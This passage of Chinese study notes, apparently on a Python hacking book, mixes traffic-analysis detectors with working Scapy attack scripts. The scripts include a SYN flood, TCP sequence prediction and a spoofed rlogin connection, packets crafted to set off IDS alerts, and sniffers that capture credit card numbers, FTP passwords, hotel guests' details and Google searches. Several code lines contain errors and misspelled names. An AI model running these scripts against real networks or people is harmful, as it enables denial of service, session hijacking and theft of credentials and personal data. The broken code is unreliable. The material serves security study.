socket.inet_ntoa(ip.dst) 130 | tcp = ip.data 131 | dport = tcp.dport 132 | sport = tcp.sport 133 | if dport == 6667: 134 | if "!lazor" in tcp.data.lower(): 135 | print("[!] DDoS Hivemind issued by: {}".format(src)) 136 | print("[+] Target CMD: {}".format(tcp.data)) 137 | if sport == 6667: 138 | if "!lazor" in tcp.data.lower(): 139 | print("[!] DDoS Hivemind issued to: {}".format(src)) 140 | print("[+] Target CMD: {}".format(tcp.data)) 141 | except: 142 | pass 143 | ``` 144 | 145 | ### 实时监测 DDoS 攻击 146 | 147 | 若要识别攻击,需要设置一个不正常的数据包数量的阈值。如果某一用户发送某个地址的数据包的数量超过了这个阈值,就表明发生了我们需要把它视为攻击做进一步调查的事情。 148 | 149 | ```python 150 | import dpkt 151 | import socket 152 | THRESH = 10000 153 | def find_attack(pcap): 154 | pkt_count = {} 155 | for ts, buf in pcap: 156 | try: 157 | eth = dpkt.ethernet.Ethernet(buf) 158 | ip = eth.data 159 | src = socket.inet_ntoa(ip.src) 160 | dst = socket.inet_ntoa(ip.dst) 161 | tcp = ip.data 162 | dport = tcp.dport 163 | if dport == 80: 164 | stream = "{}:{}".format(src, dst) 165 | if pkt_count.has_key(stream): 166 | pkt_count[stream] = pkt_count[stream] + 1 167 | else: 168 | pkt_count[stream] = 1 169 | except: 170 | pass 171 | 172 | for stream in pkt_count: 173 | pkts_sent = pkt_count[stream] 174 | if pkt_sent > THRESH: 175 | src = stream.split(":")[0] 176 | dst = stream.split(":")[1] 177 | print("[+] {} attacked {} with {} pkts."format(src, dst, str(pkts_sent))) 178 | ``` 179 | 180 | ## H.D.Moore 是如何解决五角大楼的麻烦的 181 | 182 | 一系列协调一致的老练的攻击:`CIO Institude bulletin on computer security, 1999` 183 | 184 | 检测出 Nmap 扫描十分容易,而且还可以查出攻击者的 IP 地址,并依次找出该 IP 的物理地址。但是,攻击者可以使用 nmap 的高级选项。他们扫描时在数据包中不必填入自己的地址,可以填入地球上其他许多不同地方的 IP 地址进行伪装扫描(decoy scan) 185 | 186 | Moore 建议使用 TTL 字段分析所有来自 Nmap 扫描的数据包。IP 数据包的 TTL(time-to-live)字段可以用来确定在到达目的地之前数据包经过了几跳。每当一个数据包经过一个路由设备时,路由器会将 TTL 字段中的值减去一。Moore 意识到这是个确定扫描源的好方法。对每个被记录为 Nmap 扫描包的源地址来说,他都会发送一个 ICMP 数据包,去确定源地址和被扫描的机器之间隔了几跳。然后他就运用这些信息来辨认真正的扫描员。显然,只有来自真实的扫描源的包中的 TTL 正确的,伪造 IP 的包中的 TTL 值则应该是不正确的。Moore 将他的工具命名为 Nlog,因为它能记录 Nmap 扫描包中的许多信息。 187 | 188 | ### 理解 TTL 字段 189 | 190 | IP 数据包的 TTL 字段。TTL 字段由 8 比特组成,可以有效记录 0 到 255 之间的值。当计算机发送一个 IP 数据包时,它将 TTL 字段设置为数据包在到达目的地址前所应经过的中继跳的上限值。数据包每经过一个路由设备,TTL 值就自减一。如果 TTL 值到了零,路由器就会丢弃该数据包,以防止无限路由循环。 191 | 192 | 当在 Nmap 1.6 中引入伪装扫描时,伪造数据包的 TTL 值既不是随机的,也不是经过精心计算的。正因为 TTL 值没有经过正确计算,Moore 才能够识别这些数据包。Nmap 运用以下算法随机化 TTL。该算法为平均约 48 个数据包生成一个随机的 TTL 值。用户也可以通过一个可选的参数把 TTL 设为一个固定值。 193 | 194 | ```c++ 195 | // 生存时间 196 | if (ttl == -1){ 197 | my_ttl = (get_random_uint() % 23) + 37; 198 | } else { 199 | my_ttl = ttl; 200 | } 201 | ``` 202 | 203 | 在以伪装扫描模式运行 Nmap 时,使用 -D 参数后跟一个 IP 地址。此外,还可以用 `-ttl` 参数把 TTL 值固定为 13。 204 | 205 | ```shell 206 | nmap 192.168.1.7 -D 8.8.8.8 -ttl 13 207 | ``` 208 | 209 | 在目标主机 192.168.1.7 上,用 verbose 模式(-v)运行 tcpdump,禁用名称解析(-nn),并只显示与地址 `8.8.8.8` 相关的流量(`host 8.8.8.8`)。可以看到 nmap 成功地用假地址 `8.8.8.8` 发送了 TTL 值为 13 的伪造数据包。 210 | 211 | ### 用 scapy 解析 TTL 字段的值 212 | 213 | ```python 214 | from scapy.all import * 215 | 216 | def test_ttl(pkt): 217 | try: 218 | if pkt.haslayer(IP): 219 | ipsrc = pkt.getlayer(IP).src 220 | ttl = str(pkt.ttl) 221 | print("[+] Pkt Received From: {} with TTL: {}".format(ipsrc, ttl)) 222 | except: 223 | pass 224 | 225 | def main(): 226 | sniff(prn=test_ttl, store=0) 227 | ``` 228 | 229 | Linux/Unix 系统通常把 TTL 的初始值设为 64,而 Windows 系统则把它设为 128。 230 | 231 | 需要把内网/私有 IP 地址(`10.0.0.0~10.255.255.255`、`172.16.0.0~172.31.255.255`,以及 `192.168.0.0` ~ `192.168.255.255`)的数据包全部去掉。要做到这一点,需要导入 IPy 库。为了避免 IPy 库中的 IP 类与 Scapy 库中的 IP 类冲突,把它重命名为 IPTEST 类。如果 `IPTEST(ipsrc).iptype()` 返回 `PRIVATE`,就忽略对该数据包的检查。 232 | 233 | 可能会收到来自同一个源地址的多个数据包,而我们又不想重复检查同一个源地址。如果之前从未见过这个源地址,则要构建一个目标 IP 地址为这个源地址的 IP 包,这个包应该是一个 ICMP 请求报,这样目标主机就会做出回应。一旦目标主机做出了响应,我们就把 TTL 值存储在一个用源 IP 地址作为索引的词典中。然后将实际收到的 TTL 与原始数据包中的 TTL 放在一起,判断它们的差值是否超过了一个阈值。走不同的路径到达目标主机的数据包所经过的路由设备的数量可能会有所差异,因此其 TTL 也可能不完全一样。但是,如果中继跳数的差超过了 5 跳,则可以推断该 TTL 是假的。 234 | 235 | ```python 236 | from scapy.all import * 237 | from IPy import IP as IPTEST 238 | ttl_values = {} 239 | THRESH = 5 240 | 241 | def check_ttl(ipsrc, ttl): 242 | if IPTEST(ipsrc).iptype() == "PRIVATE": 243 | return 244 | if not ttl_values.has_key(ipsrc): 245 | pkt = sr1(IP(dst=ipsrc) / ICMP(), retry=0, timeout = 1, verbose=0) 246 | ttl_values[ipsrc] = pkt.ttl 247 | if abs(int(ttl) - int(ttl_values[ipsrc])) > THRESH: 248 | print("[!] Detected Possible Spoofed Packet From: {}".format(ipsrc)) 249 | print("[!] TTL: {}, Actual TTL: {}".format(ttl, str(ttl_values[ipsrc]))) 250 | ``` 251 | 252 | 尽管 RFC 1700 中建议把默认的 TTL 值设为 64,但是自 MS Windows NT 4.0 起,微软 Windows 就已经把 TTL 的初始值设为 128 了。此外,其他一些类 UNIX 系统也会使用不同的 TTL 初始值,比如 Solaris 2.x 的默认 TTL 初始值就是 255。 253 | 254 | ## “风暴”(Storm) 的 fast-flux 和 Conficker 的 domain-flux 255 | 256 | 名为 `fast-flux` 的技术使用域名服务(DNS)记录隐藏指挥风暴僵尸网络的控制与命令信道。DNS 记录一般是用来将域名转换为 IP 地址的。当 DNS 服务器返回一个结果时,它会同时指定一个 TTL——告诉主机这个 IP 地址在多长的时间里肯定是有效的,因此在这段时间里无须再次解析该域名。 257 | 258 | 风暴僵尸网络背后的攻击者会非常频繁地改变用于指挥与控制服务器的 DNS 记录。事实上,他们使用了分布在 50 多个国家的 384 个网络供应商手上的 2000 台冗余服务器。攻击者频繁地且切换指挥与控制服务器的 IP 地址,并在 DNS 查询结果中返回一个很短的 TTL。这种快速变化 IP 地址的做法(fast-flux)使得别人很难找出僵尸网络的指挥与控制服务器。 259 | 260 | Conficker 是迄今为止最成功的电脑蠕虫病毒,通过 Windows 服务消息块(Windows Service Message Block,SMB)协议中的一个漏洞传播。一旦被感染,有漏洞的机器便联络命令与控制服务器,以获得进一步的指令。然而,Conficker 每三个小时会使用 UTC 格式的当前日期和时间生成一批不同的域名。对 Conficker 的第三个版本来说,这意味着每三个小时生成 50000 个域名。攻击者只注册了这些域名中的很少一部分,让它们能映射成真正的 IP 地址。这使得拦截和阻止来自命令与控制服务器的流量变得十分困难。由于该技术是轮流使用域名的,所以研究人员便将其命名为 `domain-flux` 261 | 262 | ### 你的 DNS 知道一些不为你所知的吗? 263 | 264 | 用 tcpdump 检查 DNS 查询过程可以看到,客户端向 DNS 服务器发送了一次请求。具体地说,客户端生成了一个 `DNS Question Record(DNSQR)`,查询对应域名的 IPv4 地址。服务器响应了一个 `DNS Resource Record(DNSRR)`,给出了域名的 IP 地址。 265 | 266 | ### 使用 Scapy 解析 DNS 流量 267 | 268 | 在用 Scapy 检查这些 DNS 协议请求包时,要检查的字段在 DNSQR 和 DNSRR 包都存在。一个 DNSQR 包中含有查询的名称(qname)、查询的类型(qtype)和查询的类别(qclass)。服务器相应的一个对应的 DNSRR,其中含有资源记录名名称(rrname)、类型(type)、资源记录类别(rclass)和 TTL。 269 | 270 | 欧洲网络和信息安全机构(The European Network and Information Security Agency)提供了一个分析网络流量的极好资源,该机构提供一个可启动的 DVD ISO 镜像,其中还含有几个网络抓包文件和练习。其中练习 7 中演示了 `fast-flux` 行为的 pcap 包。 271 | 272 | ### 用 Scapy 找出 `fast-flux` 流量 273 | 274 | 写一个 Python 脚本,从 pcap 文件中读取数据,并把所有含 DNSRR 的数据包解析出来 275 | 276 | ```python 277 | from scapy.all import * 278 | dns_records = dict() 279 | 280 | def handle_pkt(pkt): 281 | if pkt.haslayer(DNSRR): 282 | rrname = pkt.getlayer(DNSRR).rrname 283 | rdata = pkt.getlayer(DNSRR).rdata 284 | if dns_records.has_key(rrname): 285 | if rdata not in dns_records[rrname]: 286 | dns_records[rrname].append(rdata) 287 | else: 288 | dns_records[rrname] = list() 289 | dns_records[rrname].append(rdata) 290 | 291 | def main(): 292 | pkts = rdpcap("fast_flux.pcap") 293 | for pkt in pkts: 294 | handle_pkt(pkt) 295 | for item in dns_records: 296 | print("[+] {} has {} unique IPs.".format(item, len(dns_records[item]))) 297 | ``` 298 | 299 | ### 用 Scapy 找出 Domain Flux 流量 300 | 301 | Conficker 使用的是 `domain-flux` 技术,我们需要寻找的就是那些对未知域名查询回复出错消息的服务器响应包。DNS 服务器是没法把大多数域名转换为真正的 IP 地址的,对这些域名,服务器回复一个出错了的消息。可以通过找出所有含域名出错的错误代码的 DNS 响应包的方式,实时地识别出 `domain-flux` 302 | 303 | 再次读取网络抓包文件,并逐一检查抓包文件中的各个数据包。只检查来自服务器 53 端口的数据包——这种包中含有资源记录。DNS 数据包中有一个 rcode 字段。当 rcode 等于 3 时,表示的是域名不存在。然后把域名打印在屏幕上,并更新所有未得到应答的域名请求的计数器。 304 | 305 | ```python 306 | from scapy.all import * 307 | 308 | def dns_qrtest(pkt): 309 | if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53: 310 | rcode = pkt.getlayer(DNS).rcode 311 | qname = pkt.getlayer(DNSQR).qname 312 | if rcode == 3: 313 | print("[!] Name request lookup failed: {}".format(qname)) 314 | return True 315 | else: 316 | return False 317 | 318 | def main(): 319 | un_ans_reqs = 0 320 | pkts = rdpcap("domain_flux.pcap") 321 | for pkt in pkts: 322 | if dns_qrtest(pkt): 323 | un_ans_reqs = un_ans_reqs + 1 324 | print("[!] {} Total Unanswered Name Requests".format(un_ans_reqs)) 325 | ``` 326 | 327 | ## Kevin Mitnick 和 TCP 序列号预测 328 | 329 | Mitnick 使用了一种劫持 TCP 会话的方法。这种技术被称为 TCP 序列号预测,这一技术利用的是原本设计用来区分各个独立的网络连接的 TCP 序列号的生成缺乏随机性这一缺陷。这一缺陷加上 IP 地址欺骗,使得 Mitnick 能够劫持家用电脑中的某个连接。 330 | 331 | ### 预测你自己的 TCP 序列号 332 | 333 | Mitnick 攻击的机器与某台远程服务器之间有可信协议。远程服务器可以通过在 TCP 513 端口上运行的远程登录协议(rlogin)访问 Mitnick 被攻击的计算机。rlogin 并没有使用公钥/私钥协议或口令认证,而是使用了一种不太安全的认证方法——绑定源 IP 地址。 334 | 335 | 为了攻击电脑,Mitnick 必须做到以下 4 点: 336 | 337 | (1)找到一个受信任的服务器 338 | 339 | (2)使该服务器无法再做出响应 340 | 341 | (3)伪造来自服务器的一个连接 342 | 343 | (4)盲目伪造一个 TCP三次握手的适当说明 344 | 345 | Mitnick 找到与个人电脑之间有可信协议的远程服务器后,需要使远程服务器不能再发出响应。如果远程服务器发现有人尝试使用服务器 IP 地址进行假连接,它将发送 TCP 重置(reset)数据包关闭连接。为了使服务器无法再做出响应,Mitnick 向服务器上的远程登录(rlogin)端口发出了许多 TCP SYN 数据包,即 SYN 泛洪攻击(SYN Flood),这种攻击将会填满服务器的连接队列,使之无法做出任何响应。 346 | 347 | ### 使用 Scapy 制造 SYN 泛洪攻击 348 | 349 | 用 Scapy 重新实现 SYN 泛洪攻击,只需要制造一些载有 TCP 协议层的 IP 数据包,让这些包里 TCP 源端口不断地自增一,而目的 TCP 端口总是为 513 350 | 351 | ```python 352 | from scapy.all import * 353 | 354 | def syn_flood(src, target): 355 | for sport in range(1024, 65535): 356 | ip_layer = IP(src=src, dst=target) 357 | tcp_layer = TCP(sport=sport, dport=513) 358 | pkt = ip_layer / tcp_layer 359 | send(pkt) 360 | src = "10.1.1.2" 361 | target = "192.168.1.3" 362 | syn_flood(src, target) 363 | ``` 364 | ### 计算 TCP 序列号 365 | 366 | Mitnick 能够伪造一个 TCP 连接到目标。不过,这取决于他能够发送伪造 SYN 包的能力,接着被攻击的机器会返回一个 TCP SYN-ACK 包确认连接。为了完成连接,Mitnick 需要在 SYN-ACK 中正确地猜出 TCP 的序列号(因为他无法观察到),然后把猜到的正确的 TCP 序列号放在 ACK 包中发送回去。 367 | 368 | 在 Python 中重现这一过程,将发送一个 TCP SYN 包,然后等待 TCP SYN-ACK 包。收到之后,将从这个确认包中读出 TCP 序列号,并把它打印到屏幕上。编写的函数 `cal_tsn` 将接收目标 IP 地址这个参数,返回下一个 SYN-ACK 包的序列号(当前 SYN-ACK 包的序列号加上差值) 369 | 370 | ```python 371 | from scapy.all import * 372 | def cal_tsn(target): 373 | seq_num = 0 374 | pre_num = 0 375 | diff_seq = 0 376 | for x in range(1, 5): 377 | if pre_num != 0: 378 | pre_num = seq_num 379 | pkt = IP(dst=target) / TCP() 380 | ans = sr1(pkt, verbose=0) 381 | seq_num = ans.getlayer(TCP).seq 382 | diff_seq = seq_num - pre_num 383 | print("[+] TCP Seq Difference: {}".format(diff_seq)) 384 | return seq_num + diff_seq 385 | 386 | target = "192.168.1.106" 387 | seq_num = cal_tsn(target) 388 | print("[+] Next TCP Sequence Number to ACK is: {}".format(seq_num + 1)) 389 | ``` 390 | 391 | ### 伪造 TCP 连接 392 | 393 | 在 Python 中重现这一行为,将创建和发送两个数据包。首先,创建一个 TCP 源端口为 513,目标端口为 514,源 IP 地址为被假冒的服务器,目标 IP 地址为被攻击计算机的 SYN 包。接着,创建一个相同的 ACK 包,并把计算得到的序列号填入相应的字段中,最后把它发送出去 394 | 395 | ```python 396 | from scapy.all import * 397 | 398 | def spoof_conn(src, target, ack): 399 | ip_layer = IP(src=src, dst=target) 400 | tcp_layer = TCP(sport=513, dport=514) 401 | syn_pkt = ip_layer / tcp_layer 402 | send(syn_pkt) 403 | ip_layer = IP(src=src, dst=target) 404 | tcp_layer = TCP(sport=513, dport=514, ack=ack) 405 | ack_pkt = ip_layer / tcp_layer 406 | send(ack_pkt) 407 | 408 | src = "10.1.1.2" 409 | target = "192.168.1.106" 410 | seq_num = 2024371201 411 | spoof_conn(src, target, seq_num) 412 | ``` 413 | 414 | ## 使用 Scapy 愚弄入侵检测系统 415 | 416 | 入侵检测系统(Intrusion DetectionSystem,IDS),基于网络的入侵检测系统(network-based intrusion detection system,NIDS)可以通过记录流经 IP 网络的数据包实时地分析流量。用已知的恶意特征码对数据包进行扫描,IDS 可以在攻击成功之前就向网络分析师发出警报。SNORT 这个 IDS 系统自带的许多不同规则,就使它能够识别出许多包括不同类型的踩点,漏洞利用已经拒绝服务攻击在内的真实环境中的攻击手段。检查其中一些规则配置文件中的内容,可以看到针对 TFN、tfn2k 和 Trin00 分布式拒绝服务攻击工具包的四个警报触发规则。 417 | 418 | ```shell 419 | cat /etc/snort/rules/ddos.rules 420 | ``` 421 | 422 | 第一条警报触发规则——DDoS TFN 探针(DDoS TFN Probe) 423 | 424 | ```python 425 | from scapy.all import * 426 | def ddos_test(src, dst, iface, count): 427 | pkt = IP(src=src, dst=dst) / ICMP(type=8,id=678) / Raw(load="1234") 428 | send(pkt, iface=iface, count=count) 429 | pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load="AAAAAAAAA") 430 | send(pkt, iface=iface, count=count) 431 | pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load="PONG") 432 | send(pkt, iface=iface, count=count) 433 | pkt = IP(src=src, dst=dst) / ICMP(type=0, id=456) 434 | send(pkt, iface=iface, count=count) 435 | 436 | src = "1.3.3.7" 437 | dst = "192.168.1.106" 438 | iface = "eth0" 439 | count = 1 440 | ddos_test(src, dst, iface, count) 441 | ``` 442 | 443 | 接着看 SNORT 的 `exploit.rules` 签名文件中更复杂的警报触发规则: 444 | 445 | ```python 446 | def exploit_test(src, dst, iface, count): 447 | pkt = IP(src=src, dst=dst) / UDP(dport=518) / Raw(load="\x01\x03\x00...") 448 | send(pkt, iface=iface, count=count) 449 | pkt = IP(src=src, dst=dst) / UDP(dport=635) / Raw(load="^\xB0\x02...") 450 | send(pkt, iface=iface, count=count) 451 | ``` 452 | 453 | 最后,伪造一些踩点或扫描操作也挺不错的。查看 SNORT 中关于扫描的警报触发规则,找到两个可以生成对应数据包的警报触发规则。这两个规则检测的是:发往 UDP 协议上的某些特定端口的数据包的内容中有无特定的特征码,如果有,则触发警报。 454 | 455 | 以下生成了两个会触发 cybercop 扫描器和 Amanda 扫描器扫描报警的数据包: 456 | 457 | ```python 458 | def scan_test(src, dst, iface, count): 459 | pkt = IP(src=src, dst=dst) / UDP(dport=7) / Raw(load="cybercop") 460 | send(pkt) 461 | pkt = IP(src=src, dst=dst) / UDP(dport=10080) / Raw(load="Amanda") 462 | send(pkt, iface=iface, count=count) 463 | ``` -------------------------------------------------------------------------------- /第5章用Python进行无线网络攻击.md: -------------------------------------------------------------------------------- 1 | # 第 5 章 用 Python 进行无线网络攻击 2 | 3 | ## 搭建无线网络攻击环境 4 | 5 | Backtrack 5 上的默认驱动程序能让用户把网卡设为混杂模式(monitor mode),并直接发送数据链路层上的帧。另外,它还有一个额外的无线插口,能让我们在网卡上再插上一个大功率天线。 6 | 7 | 混杂模式允许你直接拿到数据链路层上的无线网络数据帧,而不是以管理模式进入后获得的 `802.11` 以太网数据帧。这样,即使是在没有连上某个网络的情况下,也能看到 Beacons(信标)数据帧和无线网络管理数据帧的数据。 8 | 9 | ### 用 Scapy 测试无线网卡的嗅探功能 10 | 11 | 使用 `aircrack-ng` 工具包把网卡设为混杂模式。先用 Iwconif 列出无线网卡 wlan0 的相关信息。然后用 `airmon-ng start wlan0` 命令把网卡设为混杂模式 12 | 13 | ```shell 14 | # iwconfig wlan0 15 | ``` 16 | 17 | 把变量 `conf.iface` 设为新创建的嗅探用网卡,每监听到一个数据包,脚本就会运行 `pkt_print` 函数。如果这个数据包是 `802.11` 信标,`802.11` 探查响应、TCP 数据包、DNS 流量等 18 | 19 | ```python 20 | from scapy.all import * 21 | def pkt_print(pkt): 22 | if pkt.haslayer(Dot11Beacon): 23 | print("[+] Detected 802.11 Beacon Frame") 24 | elif pkt.haslayer(Dot11ProbeReq): 25 | print("[+] Detected 802.11 Probe Request Frame") 26 | elif pkt.haslayer(TCP): 27 | print("[+] Detected a TCP Packet") 28 | elif pkt.haslayer(DNS): 29 | print("[+] Detected a DNS Packet") 30 | 31 | conf.iface = "mon0" 32 | sniff(prn=pkt_print) 33 | ``` 34 | 35 | ### 安装 Python 蓝牙包 36 | 37 | 使用 Python 中集成的 Linux Bluez 应用程序编程接口(API)以及 obexftp API(ObexFTP 是一个基于 OBEX 协议的 FTP 客户端软件。OBEX 的全称为 Object Exchange-对象交换,所以称之为对象交换协议。) 38 | 39 | ```shell 40 | # sudo apt-get install python-bluez bluetooth python-obexftp 41 | ``` 42 | 43 | 另外还需要有一个蓝牙设备。大部分使用 Cambridge Silicon Radio(CSR)公司出品的芯片组的蓝牙设备都能在 Linux 系统下正常工作。可以使用 `hciconfig config` 命令把蓝牙设备的详细配置信息打印在屏幕上 44 | 45 | Backtrack5 r1 上有一个小瑕疵——在这个已经编译好的内核中,没有可以用来直接发送数据链路层上的蓝牙数据包的内核模块。所以需要升级或者使用 Backtrack5 r2 46 | 47 | ## 绵羊墙-被动窃听无线网络中传输的秘密 48 | 49 | ### 使用 Python 正则表达式嗅探信用卡信息 50 | 51 | 最常用的三种信用卡:Visa、MasterCard 和 American Express,登录 `http://www.regular-expressions.info/creditcard.html`,其中会提供其他银行的信用卡卡号的正则表达式。 52 | 53 | American Express 信用卡由 34 或者 37 开头的 15 位数字组成。 54 | 55 | ```python 56 | import re 57 | def find_credit_card(raw): 58 | america_re = re.findall("3[47][0-9]{13}", raw) 59 | if america_re: 60 | print("[+] Found American Express Card: {}".format(america_re[0])) 61 | 62 | def main(): 63 | tests = [] 64 | tests.append("I would like to buy 1337 copies of that dvd") 65 | tests.append("Bill my card: 378282246310005 for \$2600") 66 | for test in tests: 67 | fiind_credit_card(test) 68 | ``` 69 | 70 | 类似地可以写出 MasterCards 和 Visa 信用卡卡号的正则表达式 71 | 72 | ```python 73 | def find_credit_card(pkt): 74 | raw = pkt.sprintf("%Raw.load%") 75 | america_re = re.findall("3[47][0-9]{13}", raw) 76 | master_re = re.findall("5[1-5][0-9]{14}", raw) 77 | visa_re = re.findall("4[0-9]{12}(?:[0-9]{3})?", raw) 78 | if america_re: 79 | print("[+] Found American Express Card: {}".format(america_re[0])) 80 | if master_re: 81 | print("[+] Found MasterCard Card: {}".format(master_re[0])) 82 | if visa_re: 83 | print("[+] Found Visa Card: {}".format(visa_re[0])) 84 | ``` 85 | 86 | ### 嗅探宾馆住客 87 | 88 | 使用 Python 来截取酒店里其它住客的信息。 89 | 90 | ```python 91 | conf.iface = "mon0" 92 | try: 93 | print("[*] Starting Hotel Guest Sniffer.") 94 | sniff(filter="tcp", prn=find_guest, store=0) 95 | except KeyboardInterrupt: 96 | exit(0) 97 | ``` 98 | 99 | 接下来构造正则表达式匹配所有以 `LAST_NAME` 开头,并以 `&` 结尾的字符串,这是宾馆住客房间号的正则表达式。 100 | 101 | ```python 102 | def find_guest(pkt): 103 | raw = pkt.sprintf("%Raw.load%") 104 | name = re.findall("(?i)Last_NAME=(.*)&", raw) 105 | room = re.findall("(?i)ROOM_NUMBER=(.*)'", raw) 106 | if name: 107 | print("[+] Found Hotel Guest {}, Room #".format(name[0], root[0])) 108 | ``` 109 | 110 | ### 编写谷歌键盘记录器 111 | 112 | 在搜索栏里每输入一个字符时,浏览器几乎都会向谷歌发送一个 HTTP GET。 113 | 114 | 谷歌搜索的 URL 中的参数提供了大量附加信息,这些信息对编写谷歌键盘记录器是相当有用的。 115 | 116 | | 参数 | 含义 | 117 | | -------------- | -------------------------- | 118 | | q= | 查询的内容,就是在搜索框里输入的内容 | 119 | | pq= | 上一次查询的内容,即本次搜索前一次的查询内容 | 120 | | hl= | 语言,默认是 en,可以试试 `xx-hacker` | 121 | | as_epq= | 查询的精度 | 122 | | as_filetype= | 文件格式,用于搜索特定类型的文件,比如 `.zip` | 123 | | as_sitesearch= | 指定要搜索的网站 | 124 | 125 | 可以把抓取到的搜索数据实时显示出来 126 | 127 | ```python 128 | def find_google(pkt): 129 | if pkt.haslayer(Raw): 130 | payload = pkt.getlayer(Raw).load 131 | if "GET" in payload: 132 | if "google" in payload: 133 | r = re.findall(r"(?i)\&q=(.*?)\&", payload) 134 | if r: 135 | search = r[0].split("&")[0] 136 | search = search.replace("q=", "").replace("+", " ").replace("%20", " ") 137 | print("[+] Searched For: {}".format(search)) 138 | ``` 139 | 140 | 通过 `sniff` 进行嗅探:`sniff(filter="tcp port 80", prn=find_google)` 141 | 142 | ### 嗅探 FTP 登陆口令 143 | 144 | 文件传输协议(FTP)中没有使用加密措施来保护用户的登录密码,通过正则寻找这一信息,同时也会把数据包中的目的 IP 地址提取出来 145 | 146 | ```python 147 | from scapy.all import * 148 | def ftp_sniff(pkt): 149 | dest = pkt.getlayer(IP).dst 150 | raw = pkt.sprintf("%Raw.load%") 151 | user = re.findall("(?i)USER (.*)", raw) 152 | pswd = re.findall("(?i)PASS (.*)", raw) 153 | if user: 154 | print("[*] Detected FTP Login to {}".format(dest)) 155 | print("[+] User account: {}".format(user[0])) 156 | elif pswd: 157 | print("[+] Password: {}".format(pswd[0])) 158 | ``` 159 | 160 | 通过 `sniff(filter="tcp port 21", prn=ftp_sniff)` 实现 161 | 162 | ## 你带着笔记本电脑去过哪里?Python 告诉你 163 | 164 | ### 侦听 802.11 Probe 请求 165 | 166 | 为了提供一个无缝连接,你的电脑和手机里经常会有一个首选网络列表,其中含有你曾经成功连接过的网络名字。在你电脑启动后或者从某个网络断线掉下来的时候,电脑会发送 802.11 Probe 请求来搜索列表中的各个网络。 167 | 168 | 写一个工具来发现 802.11 Probe 请求 169 | 170 | ```python 171 | from scapy.all import * 172 | interface = "mon0" 173 | probe_reqs = [] 174 | def sniff_probe(p): 175 | if p.haslayer(Dot11ProbeReq): 176 | net_name = p.getlayer(Dot11ProbeReq).info 177 | if net_name not in probe_reqs: 178 | probe_reqs.append(net_name) 179 | print("[+] Detected New Probe Request: {}".format(net_name)) 180 | sniff(iface=interface, prn=sniff_probe) 181 | ``` 182 | 183 | ### 寻找隐藏的 802.11 信标 184 | 185 | 尽管大部分网络都会公开显示他们的网络名(BSSID),但有的无线网络会使用一个隐藏的 SSID 来保护它的网络名不被发现。802.11 信标帧中的 info 字段一般都包含网络名。在隐藏的网络中,Wi-Fi 热点不会去填写这个字段,搜寻隐藏的网络其实很简单,因为只要去找 info 字段被留白的 802.11 信标帧就可以。 186 | 187 | ```python 188 | def sniff_dot11(p): 189 | if p.haslayer(Dot11Beacon): 190 | if p.getlayer(Dot11Beacon).info == "": 191 | addr2 = p.getlayer(Dot11).addr2 192 | if addr2 not in hidden_nets: 193 | print("[-] Detected Hidden SSID: with MAC: {}".format(addr2)) 194 | ``` 195 | 196 | ### 找出隐藏的 802.11 网络的网络名 197 | 198 | 尽管热点没有填写 802.11 信标帧中的 info 字段,但它在 Probe 响应帧中还是要将网络名传输出来。因此必须等待那个与 802.11 信标帧的 Mac 地址匹配的 Probe 响应帧出现。 199 | 200 | ```python 201 | import sys 202 | from scapy.all import * 203 | interface = "mon0" 204 | hidden_nets = [] 205 | unhidden_nets = [] 206 | def sniff_dot11(p): 207 | if p.haslayer(Dot11ProbeResp): 208 | addr2 = p.getlayer(Dot11).addr2 209 | if addr2 in hidden_nets and addr2 not in unhidden_nets: 210 | net_name = p.getlayer(Dot11ProbeResp).info 211 | print("[+] Decloaked Hidden SSID: {} for MAC: {}".format(net_name, addr2)) 212 | unhidden_nets.append(addr2) 213 | if p.haslayer(Dot11Beacon): 214 | if p.getlayer(Dot11Beacon).info == "": 215 | addr2 = p.getlayer(Dot11).addr2 216 | if addr2 not in hidden_nets: 217 | print("[-] Detected Hidden SSID: with MAC: {}".format(addr2)) 218 | hidden_nets.append(addr2) 219 | sniff(iface=interface, prn=sniff_dot11) 220 | ``` 221 | 222 | ## 用 Python 截取和监视无人机 223 | 224 | ### 截取数据包,解析协议 225 | 226 | 无人机和 iPhone 之间建立一个 `ad-hoc` 无线网络(点对点,ad-hoc 模式就和以前的直连双绞线概念一样,是 P2P 的连接,所以也就无法与其他网络进行沟通),MAC 地址绑定被证明是保护连接的唯一安全机制。只有配对成功的 iPhone 才能给无人机发送飞行控制指令。 227 | 228 | 首先,要将适配器调至混杂模式来监听流量。无人机发起了一个 UDP 流量,其目标地址是手机上的 UDP 5555 端口,发送的是视频信息,而飞行控制指令是通过 5556 端口实现的。 229 | 230 | ```shell 231 | # airmon-ng start wlan0 232 | # tcpdump-nn-i mon0 233 | ``` 234 | 235 | 知道了 iPhone 是通过 UDP 5556 端口向无人机发送飞行控制指令之后,可以编写一个 Python 脚本来把飞行控制流量解析出来 236 | 237 | ```python 238 | from scapy.all import * 239 | NAVPORT = 5556 240 | def print_pkt(pkt): 241 | if pkt.haslayer(UDP) and pkt.getlayer(UDP).dport == NAVPORT: 242 | raw = pkt.sprintf("%Raw.load%") 243 | print(raw) 244 | conf.iface = "mon0" 245 | sinff(prn=print_pkt) 246 | ``` 247 | 248 | 通过分析,协议使用的语法是 `AT*CMD=SEQUENCE_NUMBER,VALUE,[VALUE{3}]` 语句。 249 | 250 | 接下来写一个 `interceptThread` 类,其中存储了攻击所得的信息,包括当前抓取到的数据包、每条无人机协议的顺序号,以及一个描述无人机流量是否已经被拦截的布尔量。 251 | 252 | ```python 253 | class interceptThread(threading.Thread): 254 | def __init__(self): 255 | threading.Thread.__init__(self) 256 | self.cur_pkt = None 257 | self.seq = 0 258 | self.found_uav = False 259 | def run(self): 260 | sniff(prn=self.intercept_pkt, filter="udp port 5556") 261 | def intercept_pkt(self, pkt): 262 | if self.found_uav == False: 263 | print("[*] UAV Found.") 264 | self.found_uav = True 265 | self.cur_pkt = pkt 266 | raw = pkt.sprintf("%Raw.load%") 267 | try: 268 | self.seq = int(raw.split(",")[0].split("=")[-1]) + 5 269 | except: 270 | self.seq = 0 271 | ``` 272 | 273 | ### 用 Scapy 制作 802.11 数据帧 274 | 275 | 接下来,要伪造一个包含无人机命令的数据包。要从当前的数据包或者帧中复制出必要的信息。这个数据包穿越了 RadioTap、802.11、SNAP、LLC、IP 和 UDP 层。 276 | 277 | 